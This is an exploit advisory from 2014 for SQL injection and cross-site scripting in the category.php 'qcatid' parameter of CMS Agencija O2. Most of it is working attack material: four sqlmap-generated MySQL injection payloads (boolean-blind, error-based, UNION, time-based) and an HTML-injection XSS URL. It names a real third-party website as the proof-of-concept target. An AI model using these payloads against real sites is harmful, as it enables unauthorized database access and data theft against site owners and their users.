CMS Agencija O2 Cross Site Scripting / SQL Injection

`# SQL Injection & XSS on CMS Agencija O2  
  
# Risk: High  
  
# CWE number: CWE-89,CWE-79  
  
# Date: 22/08/2014  
  
# Vendor: Agencija O2  
  
# Author: Felipe " Renzi " Gabriel  
  
# Contact: [email protected]  
  
# Tested on: Windows 8 pro & Linux Mint  
  
# Vulnerable File: category.php  
  
# Exploits: http://host/cms/category.php?qcatid=[SQLI] & [XSS]  
  
# PoC: http://www.megaline.rs/cms/category.php?qcatid=[SQLI]& [XSS]  
  
  
--- "SQLI using SQLMAP."---  
  
Place: GET  
Parameter: qcatid  
Type: boolean-based blind  
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)  
Payload: qcatid=99999 RLIKE (SELECT (CASE WHEN (3232=3232) THEN 99999 ELSE 0x28 END))  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause  
Payload: qcatid=99999 AND (SELECT 9170 FROM(SELECT COUNT(*),CONCAT(0x7174666171,(SELECT (CASE WHEN (9170=9170) THEN 1 ELSE 0 END)),0x7167716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 10 columns  
Payload: qcatid=99999 UNION ALL SELECT CONCAT(0x7174666171,0x576b5a63576663766442,0x7167716471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#  
  
Type: AND/OR time-based blind  
Title: MySQL < 5.0.12 AND time-based blind (heavy query)  
Payload: qcatid=99999 AND 4293=BENCHMARK(5000000,MD5(0x46795155))  
  
--- " XSS using HTML injection."---  
  
http://www.megaline.rs/cms/category.php?qcatid="><marquee>XSS</marquee>  
  
  
# Thank's  
  
  
  
  
  
`